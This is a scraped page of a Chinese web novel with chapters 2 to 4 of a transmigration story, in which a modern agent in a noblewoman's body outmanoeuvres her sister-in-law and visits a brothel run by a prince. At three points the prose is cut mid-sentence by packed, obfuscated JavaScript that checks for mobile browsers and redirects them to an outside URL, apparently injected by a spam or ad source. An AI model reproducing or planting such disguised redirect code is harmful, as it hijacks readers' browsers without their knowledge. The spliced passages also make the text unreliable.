《大梦谁先觉》 2. Chapter2 沈正刚下朝回到府邸就听小厮禀报他夫人又去找小姐麻烦了,还弄死了个婢女, 他真是被他这个妻子给蠢哭了,女子暗戳戳地较劲儿他管不着,也懒得去管深闺妇人那点事儿,谁知道薛晨菲这不长脑子的家伙,怎的光明正大把婢女打死了,这传出去他这个吏部左右侍郎的脸往哪儿搁,天下就没有不透风的墙,他怎么去堵住悠悠众口! 沈正这下是真恼怒了, 听说两人都在沈琼微的闺阁中,他也顾不得什么礼节了,直直就冲过去了, 推开门看到的就是这样一幅景象, 沈琼微坐在床榻上捂住被扇地红肿的脸颊,眼泪铺满了巴掌大的脸颊,低垂着眼不说话。 薛晨菲瘫坐在地上,衣衫不整,瞪大眼睛,脸上还有未干的泪痕。 沈正蹙眉警告在场的下人们,“今日是我沈家家事,如若我在外面听到一点风声,你们的人头都别要了。” 接着抬脚踢了踢还没回过神来的薛晨菲,“起来,你成何体统?” 沈琼微看似伤心地说不出话,实则心下一动,她这哥哥也不像善茬啊,甚至跟她这嫂嫂看起来也并非伉俪情深,怎的会允许她这样欺辱自己的妹妹? 沈正看向塌上的沈琼微,已经大概猜到怎么回事了,他了解他这个妹妹,心思浅,懂事,绝不会主动找麻烦,今天这事儿绝对是那薛氏的错, 但他怎么可能会向着沈琼微,就是他这好妹妹如此才高八斗又性情淑良,父亲……父亲才哪怕暗戳戳助力她去当女官,也不愿助自己的仕途走得顺些! 思及此,沈正的脸都不自觉扭曲起来,却还是得在众人面前装样子, “何浅,你别跟你嫂嫂计较,都是一家人,你嫂嫂也是被下人蒙骗了,今日那婢女就是畏罪自裁了,说到底都不是你嫂嫂的错,她只是耳根子软罢了” 畏罪自裁?沈正好一个畏罪自裁啊,沈琼微都忍不住要冷笑出声了,不愧是世家啊,不愧是古代,普通人的命当真是如随手可弃的草席,只是闺阁争斗就要牺牲一个婢女来维持体面,那家族争斗、朝堂争斗呢?岂不是要尸横遍野,成千上万的人也不够杀吧!? 等等…… 何浅? 她抬眼看向沈正,确信他是在对自己说话,那想来这便是沈琼微的字了…… 可是那梦中人,何以得知深闺小姐的字,那又到底……是原主的记忆?还是她沈南的梦? 不等沈琼微开口,薛晨菲先坐不住了,“官人你莫听她满嘴谎言!那……那明明是她自己打的!” 沈正真想敲开薛氏的脑子看看她在想什么,她觉得自己是傻子吗?撒谎扯地如此假,就是赤裸裸的泼脏水,自己怎么给她圆! 蠢笨!蠢笨如猪! 沈琼微等的就是薛氏这句话,“嫂嫂……您不必这样,屋内就你我二人,不是你难道是我自己把自己扇成这样的吗?” 她说这句话的时候低着头眨巴眼睛,像是根本不敢抬头看薛晨菲的样子。 薛晨菲傻眼了,还能这么玩?沈琼微疯了吧! “你……你……血口喷人!”薛晨菲此刻也意识到现下的情况她说不是自己压根儿不会有人信,想起来自己还被沈琼微掐了个半死,她赶紧扯自己的衣领,“你把我掐成这样……” “……” 薛晨菲意识到周遭没有人说话,沈正甚至脸色更黑了几分,马上踉跄着冲到铜镜旁, 自己的脖子……什么痕迹都没有! 明明……明明她掐自己了的!怎么回事! 开玩笑,她沈南在108局里虽武功不算上乘,但想要做个事不留痕迹还是绰绰有余的, 沈琼微适时开口,“嫂嫂,您不必这样折辱我,哥哥我也知您与嫂嫂情比金坚,让您夹在中间实在难做,不如等爹爹回来再说吧,您觉着呢?” 沈正真想将沈琼微千刀万剐了,他这好妹妹,四两拨千斤就把自己划到了父亲的对立面!父亲知道这事儿指不定觉得他们夫妇如何欺负她呢! 尽管心里不爽,沈正这种老狐狸面上还是笑嘻嘻的,只是动作粗鲁地把薛晨菲掂到沈琼微面前,“给何浅道歉!” 薛晨菲再傻再不甘,也知道此事断无回转的余地了,她有伤痕,自己没有一点儿伤痕,任谁看都是自己欺负了她,“妹……妹妹,今日之事儿是我对不住你,你能不能原谅嫂嫂。” 沈琼微不着痕迹地睨视着她, 薛晨菲手都快被自己掐出血了,这贱蹄子怎的突然这般会斗!这手段比她这种在后宅侵染已久的妇人都狠毒,她不过一个未出阁的姑娘! 沈琼微不打算轻易放过她,“嫂嫂,能否过几天再来与我说说话,您不是说是长辈,可以与您说心事的。” 沈正这会儿也看出来沈琼微顾左右而言他,是不准备将这事儿轻易翻篇了,但碍于理亏,害怕她真的闹到父亲面前,到时候难做的就是他了…… “等几日你好了,我定再让你嫂嫂上门赔礼道歉。”沈正替妻子应下, 薛晨菲此刻是大字儿都不敢说一个了,这回可真真把沈正气到了,指不定怎样给她气受呢…… 待沈正夫妇二人带着自己庭院的下人退出门后,屋内便只剩探春和沈琼微二人, 探春急忙从一个抽屉里找出常备的膏药奉到沈琼微面前,“小姐,探春帮您涂抹膏药吧,万不得留疤痕啊,那薛氏也真是……真是歹毒,竟敢往小姐脸上招呼。” 跪在地上的女子不住抽泣, 沈琼微这会儿才有空好好打量她这个婢女,小女孩儿年纪应该也不大,脸圆圆的还挺可爱,沈琼微先让她起来别跪着, 盯着她的脸看了一会儿,看到探春都觉得不好意思了,“小姐,您……您怎的这样看着我?” 沈琼微发现这小姑娘的脸都烧红了起来,顿觉有意思,“怎的?你害羞啊?” “被……被小姐这样……这样的容貌的女子看着……任谁……任谁看都会羞的。”探春结巴道, 沈琼微这会儿有点好奇,这大瑞朝第一才女究竟是何等容貌,能让一介女子都这样, 她坐到首饰台前,看着面前的铜镜,怔住了…… 没有别的原因,只是这张脸……与她自己的脸实在太像了……几乎一模一样,除了沈南眼下从小到大都有一颗痣,镜中的女子并没有。 太像了……怎么会这么像? 她被探春的呼唤拉回思绪,“小姐?小姐?我帮您涂药吧?” 沈琼微整理思绪,这个世界太多谜团了,看来自己的目标已经不单单是这摄政王了,这儿一定埋着更多东西。 当务之急是先按计划走,得先跟夜澜王有接触才行,毕竟他是唯一的突破点了。 …… 沈琼微摆摆手,让她把药膏拿过来自己涂,她的手蘸取了一点盒中的膏体,薄荷的香味萦绕在鼻尖,她撇向在一旁侯着的探春,“探春,你坐。” “是……是,小姐。”她直觉今天的小姐不太对劲,不敢与之多说什么, “我问你,你觉得薛晨菲说的话几分真几分假?说实话。”沈琼微审视着探春, 探春被她盯地发毛,却还是按照心中所想如实回答,“当然是全假!定是她那毒妇坑骗小姐!” 沈琼微“噗呲”一声笑了出来,这小丫头不像是个会撒谎的,看来她这好嫂嫂真是给她开了个好头,风评如此差,都不用她多做什么,自然而然没人会在两人中间选择信她,倒不是个棘手的人…… 笑罢,沈琼微薄唇轻启,盈满笑意地吐出对探春来说不亚于蛇蝎的话,“是我自己打的自己。” 只见探春瞪大了眼睛,表情跟那时的薛晨菲如出一辙, 沈琼微没理会她的变化,接下来的话更是如晴天霹雳, “你现在知道了,知道这个见不得人的秘密,我可是要把你赶走的,当然你也可以拿着这事儿去投靠我嫂嫂,你是我的贴身婢女,你说的话,大家会信的。” 探春脸刷地就白了下来,“扑通”一声跪了下来,“小姐……我不会走的,小姐待我不薄,就算是被赶出府我也认了,探春万不会拿着小姐的秘密去寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180686|165249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好处的!” 沈琼微把她拉起来,很好,她这人疑人不用,用人不疑,她不需要能用的人有多聪明,但务必要听话、要忠心耿耿,她能跟探春说这些就是为了试探她, 探春今日能说出这样一番话,自己便把她当自己人用,退一万步来说,假若真有一天她背叛自己了,自己也有的是手段让她闭嘴…… 探春犹豫再三还是不解地问,“不过小姐何以出得这伤敌一千自损八百的招呢?您脸都肿了。” 沈琼微无所谓地看着铜镜里自己的脸,“舍不得孩子套不着狼啊,再说了……” 她没有对探春说出后半句话,再说了自己可不止要薛晨菲损这一千。 “你以后不必向我下跪,我也不会赶你出府,”沈琼微把涂过的药膏递给探春,“但要记住,原来的沈琼微已经死了,往后我说什么你做什么就是,只有一条,不能背叛。” 探春有些懵懂地看着她,没有悟到沈琼微说原来的她已经死了是什么含义,只是单纯地以为沈琼微这次真是被惹恼了,要反击了, 所以兴高采烈地拉住沈琼微的手,“小姐,您早该这样了!往日您总是说要顾全大局,不跟那薛氏多计较,眼见那薛氏整日拿小姐欺负!往后探春绝对听您的吩咐,再也不会让他人欺负小姐了!” 沈琼微欣慰地揉揉探春的头, 在这个任务世界,探春这种心思单纯又为自己全心全意着想的人不知往后的路上能遇着几个。 沈琼微直觉这次定是不好轻易完成任务的…… 是夜, 沈琼微偷偷摸摸从沈府下人走的后门溜出去, 此刻探春正躺在沈琼微内屋里的床榻上, 她被吓得浑身是汗,小姐竟然让她躺在这里装她自己!这……这可是够她被仗责五十的重罪!而且小姐半夜只身出去,出了什么事儿怎么办! 尽管急地屁股都快着火了,探春还是老老实实遵照沈琼微的吩咐,躺在床上装睡。 沈琼微出府后,穿着官家公子的装束,身着宝蓝色缂丝长衫,下身一条玄色中裤,搭配白色薄底快靴,方便行动。为了不被人看出破绽,她还用深一号的女子脂粉把脸涂黑了一点,贴上了给小孩儿玩的假胡须。 这个时辰,街道在黑暗中若隐若现,明月高悬,两侧屋舍在月光下显得宁静古朴,只有几家门口的几盏灯笼在风中轻轻摇曳,发出微弱的光。偶尔传来的更夫打更声,打破这静谧神秘的寂夜…… 然而一切的安静祥和跟城南的观月楼都毫无关系, 沈琼微跟着332给的地图到观月楼门口,这里像与世隔绝的销金窟,这个点,门口站着两个魁梧的壮夫,从外面望过去,只能看见幽深黑暗的小径,里面嬉笑舞曲儿的声音却挡也挡不住地溢出来。 这里就是京城最大的青楼,夜澜王最爱寻欢的地方…… 旁人只知这观月楼是青楼,但根据332给的资料,这里其实是京城最大的情报贩卖中心,背后的主人,正是这夜澜王,只是这事儿京城鲜有人知,以为夜澜王就是单纯被这儿的红颜知己迷得不得了,才夜夜宿在此地。 看来这夜澜王跟资料有不少出入,那民间的传闻到底还有多少真实性,沈琼微不得不存疑。 大厅的二楼拐角处,用屏风隔出一个能看到外面,外面却望不到里面的空间, 里面坐着两个衣着华贵的男子, 穿着月牙色杭绸道袍的男子伸手给对面斟茶,浓苦的六堡茶落入对面男子面前精致的玉杯中, 对面的雕花楠木椅上,坐着一位身着赤色蟒纹锦袍的男子,好看的丹凤眼半眯着,眼尾平滑略微上翘,如泼墨似的长发随意用一根玉簪扎起,脸型与五官却是与姿态不符的硬朗,嘴唇不点而朱,微微上扬的嘴角,带着一丝与生俱来的贵气,他左腿随意地搭载右腿上,身子微微向一旁倾斜,靠在椅子的转角处,手指有一下没一下地轻敲着扶手,漫不经心地端起茶杯一饮而尽, 安澜王那木罕看向对面懒散的男子, 开口问,“她……当真回来了?” 3. Chapter3 沈琼微抬脚往里走,却被门口两个壮士拦住, “闲杂人等不得入内。”两人用拦门棍拦住沈琼微, 戒备如此森严吗?这观月楼是单单今晚这样,还是日日这样,若是这样那很难伪装成一般青楼吧…… 沈琼微故意粗着嗓子,“我乃夜澜王的座上宾,尔等真要拦我不成?” 两个看门人对视一眼, 上面给他们的命令是这个时辰只能放入能证明自己身份的达官显贵,但是…… 面前的公子,虽不算魁梧,可这衣服料子和举手投足的气势却是不像一般人家, 况且今晚夜澜王来这里的事情掌柜特意嘱托万不能声张,所以能知道来这儿找夜澜王也就只有夜澜王自己那边的亲信了吧, 如若真是放了个平民进去倒也没事,可若拦住了夜澜王的座上宾,那他们罪过可就大了…… 二人交换了个眼神,思索片刻便低头行礼,放沈琼微进去。 看她背着手踱步进去,门口较瘦的那个下人小声吩咐身边人,“去禀报当家的,说有人自称王爷座上宾。” 不用他解释,另一人也能领会其用意,利落地侧身进门走向一边漆黑的小道…… 沈琼微其实也在赌,赌今晚夜澜王会不会在这里, 赌这两个看门人对这家青楼的参与度到底多高。 赌输了,大不了脱身而去,今晚无功而返,反正是个划算买卖。 现在看来……她是赌对了。 沈琼微极为缓慢谨慎地顺着墙壁往里面走,越往里走声音越是清晰吵闹。 踏入真正的楼内,饶是见惯大场面的她也被惊艳了一瞬, 大堂内宽敞气派,正前方悬挂的满是丝纱、地上铺着红布的台子上,一群身着藕粉色窄裙短襦、石榴红色高腰长裙的舞女齐刷刷地弹唱着《凉州词》。 好家伙,这个比沈南在网络上看的震撼多了,她不禁感叹这群古代打工人真是挺敬业的。 台下的宾客们围坐于一张张雕花梨木桌旁,四周的墙壁上颇有风雅地挂着名家名画,这儿的客人都身着华贵、左拥右抱, 沈琼微甚至瞥见一位明显有些喝醉了的公子,把腰间的玉佩抛起来让旁边侍奉的妙龄女子们接着玩。 万恶的资本家呀…… 沈琼微眼见地注意到二楼并无多少人,装潢却比一楼还要华贵的样子,一扇扇由和田玉雕琢而成的玉石屏风将二楼的面貌完全隐藏在一楼众人的面前, 沈琼微敢肯定,能去里面的那批人应当就是能掌握大瑞朝经济政治命脉的那几个了。 她忽觉这地方当真像个斗兽场,二楼是权力的最上流,那群能将他人命运覆于手掌之间的,就能独坐高台,观蚁斗,然后再轻而易举将棋局扭转,无论是非黑白。 沈琼微抬头环视一圈察觉到角落里的两个屏风,好像不同于其他,在那两扇屏风的四角,镶嵌着色泽艳丽的红宝石,宝石的光芒与和田玉相得益彰,却有种让人觉得美到诡异的即视感。 此时在那屏风里的梁砚也抬眼望着楼下那位“公子”。 那木罕在一旁不敢出声,他明晃晃地看到夜澜王在注意到楼下一处的瞬间,便死死盯住不放,手一抖,价值黄金百两的玉杯募得坠落在地板上,裂开的碎片把他的手划出一道血痕, 梁砚把眼底已经生成的热泪硬生生憋回去,眼睛都憋红了,眼白处爬满血丝。 他一眼便认出了她,无论沈琼微怎样伪装, 他日思夜想,夜夜难以入睡 曾经无数次那日黑暗的梦再次拉他进入深渊时,都是这个人把他救出来的。 她走后他便再也出不来了,她的背影成为梁砚新的噩梦, 怎么也找不到,怎么也抓不住的噩梦。 终于……终于…… 观月楼的掌柜王夫人低着头没有注意到夜澜王的情绪,“王爷,小厮禀报有个穿宝蓝色长衫的公子,说是您的座上宾。” 那木罕眉头蹙起,座上宾?他们二人见面一般不会叫第三人,应当也不会是寂照大师,不然梁砚来时就会告诉他了。 “哪里有……” “有。”梁砚不看二人,却出声打断了那木罕的话, “你今日先回去,我们的事来日再说!”梁砚将一封信递给那木罕, “嗯。” 那木罕没有行礼,拿起信匆匆下楼去往后门, 王夫人拿不准梁砚什么意思,注意到摔碎的玉杯,她已经察觉到夜澜王情绪不太对,不过这时候她们做下人的不吭声,等主子先吩咐是最为稳妥的决定了, 梁砚的视线跟着下面不动声色四处晃荡实则在找机会观察的女子, 梁砚大概也能猜到她来此处的目的, “去把她引到交换情报的雅间,安排先生去回答她的问题。”男人站起身,毫不在意地拿手指抹掉掌心那一点血迹, “是,王爷。” 沈琼微想四处观察一下这观月楼的结构,再有就是一并听听这儿的客人们都谈论些什么, 便假装风流公子,穿梭于各个桌旁,这些喝得半醉的老爷公子也都没注意到她略微反常的举动, 只当她是来讨一杯酒的同僚, 突然,一穿着不起眼的棕色粗布麻衣的妇人悄无声息地挤到沈琼微身边, “公子,雅间有请。” 沈琼微直觉危险,但此刻不去未免惹人怀疑,若是吸引太多目光,她假借夜澜王名号溜进来的事情难免会败露,便只好硬着头皮答应, 她跟着妇人上楼, 二楼弥漫着一种诡异的浓香, 像是……像是寺庙里会有的烟火味, 里面并不如沈琼微想得那般奢靡,只是很朴素的青砖地板和一排排深褐色的木质房间,角落处燃着最普通的蜡烛, 除了那十几张昂贵的屏风,其他都是万不能与下面的华丽相比的, 有意思,这夜澜王……究竟是没钱还是有钱啊? “公子这边请,先生在里面等你”妇人把沈琼微带到转角处的一间屋子处,躬身拉开门,请她进去, 沈琼微看屋内并无异样,门正对着的茶桌一侧坐着一个身着白衣,而她并未见过的老者, 都到这儿了,沈琼微明白哪怕里面是有人给自己设的局,她也得进去了, 不过自己初来乍到,原主又不是个惹祸性子,她就那薛氏一个仇家,她不信那人还能把手伸进夜澜王的场子里, 沈琼微掀起褂子下摆,抬脚往里面进, 她刚落定在屋子里,身后的门就被那妇人关上了, 沈琼微偷偷观察这屋内的环境,屋子不大,除了桌角摆放的香炉和一张和外面走廊上一样的白玉屏风外,再没别的显眼玩意儿, 端坐的老者伸手请沈琼微入座,“公子,坐。” 沈琼微看着面前眉目慈祥的老者,半信半疑在他对面落座, “公子来观月楼,应当不是为了寻欢作乐吧”老者伸手给她斟茶,笑眯眯看着她,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180687|165249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈琼微装傻充愣,“这观月楼就一青楼,我不来寻欢作乐又意欲何为啊?” 对面不语,两人只是都笑意盈盈地看着对方,无声对峙着, “公子用夜澜王名号进门,想必断是知道观月楼底细。” 沈琼微早知道门口那两个守卫不会这般轻易放他进来的,原来是早早就通报过了, 沈琼微继续不眨眼编瞎话,“先生,我是常听夜澜王名号,敬仰已久,想来这里碰碰运气的普通人罢了,先生不必多想。” 其实她说这话双方都心知肚明她在说谎, 但这场博弈并不是为了让这老者信她, 而是…… 从进门开始,沈琼微就肯定那白玉屏风内另有人在,不过她不确定此人是谁,她不认为夜澜王会为了现在的自己亲自出马,所以大概是他的手下, 他们没想杀她,不然不会把自己请在这里试探,而她要做的,就是让幕后人相信她并无威胁,并且意识到自己的身份不是随随便便能除掉的, “先生,我只是今日当值,牌子遗失罢了,我的身份确实不合适来这般天上人间,先生……当明白的。” 沈琼微的话间接释放出信息,她偷偷摸摸进来是因为自己是朝堂上的清官,要维持表面形象所以才出此下策,而能被下半身耽误的男人也坏不了你们家王爷的事。 那位老者装作无意看向沈琼微身后,稍微停顿了一下,对沈琼微说,“是老朽错怪公子了,若想避人耳目,我命人给您安排个单间可好?” 沈琼微知道自己话说到这个份儿上,如若不去实在引人怀疑,立不住她编造的形象,“那就却之不恭,谢过老先生了。” 沈琼微心里要把这老者骂死了, 一把年纪还当妈妈桑,恶不恶心,呸—— 饶是心里这样想,她还是不得已跟着门口候着的妇人往走廊的另一边去, “公子,给您安排的姑娘是我们这儿一等一的美人胚子,老朽就在外面候着,您有事吩咐一声就成。”她给沈琼微送到门口,交代到, “麻烦您了。” “不敢当不敢当。” “……” 这间屋子跟刚刚那个没什么区别,就是稍大一点,往里去的靠墙处放着一张用帷幔层层遮挡的拔步床, 沈琼微这下真是有点犯难了,他们不会真给自己弄了个姑娘在这儿吧,她自认取向还是没什么问题的,这出还挺让人…… 她咬着牙往里走,想假装做做戏,走个过场算了, 刹那间, 沈琼微感觉到身后有一阵凉风, 没等她反应过来,已经被后面的人反绞住双手,眼睛被一只温暖干燥的大手覆盖, 沈琼微心中警铃大作,此人武功绝对在她之上,她甚至都只是在他擒住自己的前几秒才发现背后有人,而且这力度大得她动都动不了丝毫, 梁砚看着身前跟着他的手抬高脸的少女,嘴巴不自觉地微张,漏出白皙光滑的脖子曲线,像任人宰割的猎物一样, 不过他再清楚不过,她可不是什么任人揉圆搓扁的女子, 沈琼微憋着不说话,想看看这身后人到底想干些什么, …… 蓦地,她肩上一重, 好像什么暖烘烘、毛茸茸的东西靠在了自己的肩膀上, 浓重的呼吸打在她脖颈处, 不知是沈琼微自己还是身后人的头发搔地她痒痒的, 沈琼微:? …… 4. Chapter4 从观月楼出来已经一个时辰后了, 沈琼微想起来刚才在里面房间的事情还是起鸡皮疙瘩, 被人从后面揽住后,沈琼微丝毫挣脱不开,只得静观其变,那人却只是在她颈窝趴了一会儿,片刻后,一面轻纱拂过沈琼微的脸,不等她睁开眼,人就消失了, 怎的这古代小姐们都如此魁梧有劲儿?还来去如风? 沈琼微睁开眼后发现只有一面敞着的窗户,簌簌往里面灌风,她趴在窗户的下榄边上往下看,只有空无一人的街道,唯一的声音就是一只通体雪白的野猫冲着她叫了两声, 她看街道四周无人,单手撑着窗框往下跳,此时不走更待何时?难不成真等他们给自己安排个美女姐姐啊。 …… 与此同时,梁砚在另一边的房间中盯着消失在夜色中的身影收回了视线。 屋内的沉香熏地他脑袋有些昏沉,他还并未蜕下玄色的外罩就向后瘫倒在床上,眼睛阖上后抑制不住地鼻头发酸。 王夫人默默地把屋内的蜡烛吹灭,低身关门离去。 次日,探春从床上睁开眼时已经天光大亮,冬日清晨的暖光透过窗户纸虚虚地笼罩在她身上, “唔……小姐?”探春这会儿还有些没睡醒,小姐的床实在比她们下人的床舒服得多,她昨天晚上先是惶恐地不敢合眼,后来实在忍不住了便沉沉坠入梦乡, ”小姐?小姐?”探春在屋子里小声呼喊,心里着急,再不回来一会儿老爷要回来用午膳,那不就彻底露馅儿了。 沈琼微睡得并不好,她昨天晚上回来后,看探春已经熟睡了,就没再打扰她,将就着和衣睡在了炕几上,一晚上硌得生疼,还一直做一些光怪陆离的梦,醒来却除了一柄剑再也记不得其他。 “别叫了别叫了,这儿呢。”沈琼微眯着眼高抬起一只手向探春示意, 探春看到自家小姐扭曲着身子躺在炕几上,胆子都快吓破了,自古哪有主子睡地下人睡床的道理!饶是小姐待她再好,这样也是大大地破了规矩的。 “小姐,您这是干什么啊!”探春扑通一声就跪坐在沈琼微身边的地上, “我去!”沈琼微被结结实实吓一跳,一看探春搞这一出,又扶着额头慢慢躺下, 这孩子咋恁实心眼儿呢? “起来起来,不怨你,以后别给我跪,看得头疼。”沈琼微扶着腰站起来, 探春赶紧上手去搀扶她,“小姐,您可以把我叫醒的,睡一晚上硬板也太难受了。” 沈琼微这会儿确实这个腿都麻了,但还是表现得无所谓,不然这探春又唠叨个没完, 终于蜕下繁重的衣服躺到还算松软的被窝里,沈琼微幸福地差点哭出来,“探春,你先下去吧,无事了话,别来喊我了。” 沈琼微翻了个身打算睡觉, “小姐,两个时辰后是老爷回来吃饭的日子,全家都得去,您……您是忘了吗?” ?沈琼微两眼一黑,这沈家怎的还有这样的规矩,“记起来了记起来了,那就午时再来喊我,有人来了一律说落水没好净,还在休息。” “是,小姐。”将床榻上的帷帐放下后,探春就轻手轻脚出去了。 皇宫奉天殿内,一群老狐狸在唇枪舌战, 懵懂的瑞熹帝坐在纹理细腻、工艺繁复的龙椅上————逗蛐蛐。 而夜澜王和当今丞相余容,在天子脚下被赐上座,目睹着群臣争斗,这就是如今大瑞朝朝堂上的荒诞景象。 “户部银子去哪儿了,李尚书好意思问?”沈烈为两嘬胡子翘在一边,哼鼻子瞪眼与对面争斗,“这才年初,工部又是要修桥又是要修寺的,去年寒冻冻死多少人你心里没数啊,还好意思问户部要银子,你这是置黎民百姓于不顾!” 沈烈为这话说的确实是难听,各部从缝隙里溜点银子无可厚非,大家长久以来也都默认了这种做法,偏得沈烈为这个自夜澜王掌权以来被提上来的户部尚书每每与他们针锋相对,非要扯个理出来, 更高一层的台阶上,梁砚自己端着一盘剥好的红柚,“余丞相觉得如何啊?”他头并未抬,似是专心致志盯着手里的柚子, 余容今年已七十有余,听了梁砚的话笑呵呵打马虎眼,“夜澜王,老身近来耳朵不大好,听不见啊。”说着还指了指自己的耳朵, 梁砚抬眼睨这人精,不死的老东西, 他站起身来把盘子递给一旁候着的太监,“余相,耳聋下次就去下面站着吧。”说完便拂衣而去, 余容像是没听到他的话,缓慢站起身来,佝偻着身子行礼,“恭送夜澜王。” 台下争执不休的人却不知着怎的好像集体听见了这不大不小的声音,瞬间安静下来, 小皇帝身边的太监拖长着嗓子,“退朝——” 玩蛐蛐的瑞熹帝被宫女抱下来,带了下去,大殿上一日滑稽的早晨也落下了帷幕。 探春快步跑到沈琼微闺阁门前,敲了敲门看里面并无应答,心下一慌,小姐不会还没起来更衣吧,自己半个时辰前才来唤她一次。小姐往日都不用喊自会早起的,今日怎么回事? 想起昨夜小姐为了自己一夜没睡好,今日才如此疲惫,探春心中生出自责。 “小姐,小姐,起来了。”探春轻轻摇晃沈琼微的肩膀, 沈琼微这一觉睡得昏天暗地,好像浑身都要散架了一样,睡着睡着感觉自己躺在船里,小舟漂泊在柳叶垂过的水面,划啊划啊,远处传来女子轻柔的声音,“小姐——小姐——” 沈琼微一听这声音瞬间清醒了,得,探春来催命了。 她睁开眼看到趴在自己耳朵边的小圆脸,“探春,又怎么了?”说着就往床里面轱辘, “小姐,万不能再睡了,老爷快回来了。”探春看沈琼微还没有要起来的意思,急得屁股上火, “知……知道……” “……” “小姐!您又睡着了!” 紧赶慢赶,沈琼微还是落了沈烈为一步进入宴席, 她今日穿了一袭厚实的织锦棉袄,鹅黄底色上金线绣就的梅花纹蜿蜒其间,袖口、领口处,细腻的白狐毛轻轻翻卷着,探春给她梳了清爽又不失娇俏的单螺纹发髻,乌黑的发丝紧密缠绕,散发着绸缎般的光泽。 这儿的冬日实在寒风彻骨,沈琼微把脸埋进白狐毛中,心中暗暗吐槽,也不给她挑个暖和时候送过来,这寒冬腊月的,折磨谁呢。 沈琼微迈进主厅时,薛晨菲、沈正、沈烈为以及沈薛二人的儿子——沈彭,几人已在席中列坐, 薛晨菲看见沈琼微来得如此迟,便开口暗戳戳嘲讽,“何浅怎的来这般晚,父亲等许久了。” 沈琼微没去搭理她,学着这儿的人行礼的模样向沈烈为低身行礼,“父亲,女儿今日不慎落水,偶感风寒,有些不适,来的迟了些,望父亲见谅。” 沈烈为还没说话,沈正脸色先一会儿青一会儿紫了, 薛晨菲意识到自己又被小姑子给下套了,只能偷偷瞪着沈琼微,心中祈祷她可千万别说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180688|165249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不该说的话。 沈烈为一听落水也大惊失色,这么冷的天,掉入冰湖可不好受,“怎的这般不小心,没什么大碍吧,快先坐下来,自家人多什么礼。” 沈琼微坐到沈烈为对面,眼神有意无意落在薛晨菲身上,幽幽开口,“落入湖中……” 薛晨菲攥在手中的帕子都要扣烂了,不知不觉也顾不得掩饰了,死死盯着沈琼微, “是因我自己脚滑了。” 薛晨菲暗中松了一口气,这小贱蹄子幸好没说什么不该说的。 饶是如此说了,沈烈为仍旧言辞间满是心疼与恼怒,“下人和贴身婢女都是死的吗!小姐去湖边身边无一人跟着吗?” 在后面候着的探春闻言“扑通”一声就跪下了,“老……老爷,奴婢知罪。” 沈琼微心中暗自叹气,她不愿接这古时期的任务一大原因就是,这儿的规矩和习俗实在让她一现代人难以接受…… 不过沈烈为起码也算爱女心切。 “爹爹,不怨探春,她也被我拉下去了,您若要罚她,一并把我也罚了吧。”沈琼微作势就要跪下。 沈烈为看这怎么能行,赶忙喝住沈琼微,“何浅你这是做什么,爹又没说罚他们,都站起来,站起来,好不容易回来吃一次饭,别给我添堵。”沈烈为大手一挥,“都退下去吧。” 沈正怕此事再度扯到他们夫妇身上,赶忙扯开话题,“爹、何浅,快吃吧,好不容易一家人在一张桌子上整整齐齐吃一顿饭,何浅最爱的三鲜汤都快凉了。”说着还拿小碗帮沈琼微盛汤, 沈琼微看着他那殷勤样,心中冷哼, 黄鼠狼给鸡拜年。 这会儿得了空,她才有时间观察自己这爹爹和小侄子, 沈烈为虽是个文官,可眉眼和言语间丝毫不见文官文邹邹的气质,反倒是粗犷硬朗、黝黑体壮的相貌活像征战沙场的武将, 长得倒像个没心眼儿的人,沈琼微夹起一片香菇放进嘴里,不过没点东西想来也不会在这儿坐到户部尚书的位置。 自己这侄子……十三四岁的小屁孩儿,白嫩嫩的官家公子样,看不出什么来, 不对, 看得出来他很喜欢吃那道羊肉水晶饺……一会儿功夫自己下去半盘。 吃完饭后,沈烈为单独留下沈琼微,将众人遣散, 沈正出门前愤恨地盯着两人的背影看了好一会儿, 为什么,究竟为什么!父亲那个老糊涂!她沈琼微不过一介女子,再怎么推举也只能当个女官,明明……明明自己才是正儿八经能继承父业的嫡子! …… 沈烈为盯着儿子窗外模糊的背影出神, 沈琼微顺着他的目光看过去,沈正狠狠地踢了一脚小路旁的枯树,枝头上的雪哗哗啦啦落了一地,盖住了地上一朵不知何时凋落的红梅。 沈烈为喃喃出声,“老树无枝叶,风霜不复侵,老了老了。” 沈琼微正在心里乐呢,沈烈为果然长得虽然五大三粗,瓶子里灌的还是文人的酒, 下一秒不自觉就出声, “父亲不必伤感,菊残犹有傲霜枝。” ?自己还会背这首诗? 沈琼微作为一个上了大学后就没上过语文课的理科生,对自己的文学水平认知很清楚, 332适时在脑海里回答她,“检测到原主技能,副本将采用技能叠加法,助力执行官早日完成任务。” 呦,免费给她送知识技能点来了。 …… 5. Chapter5 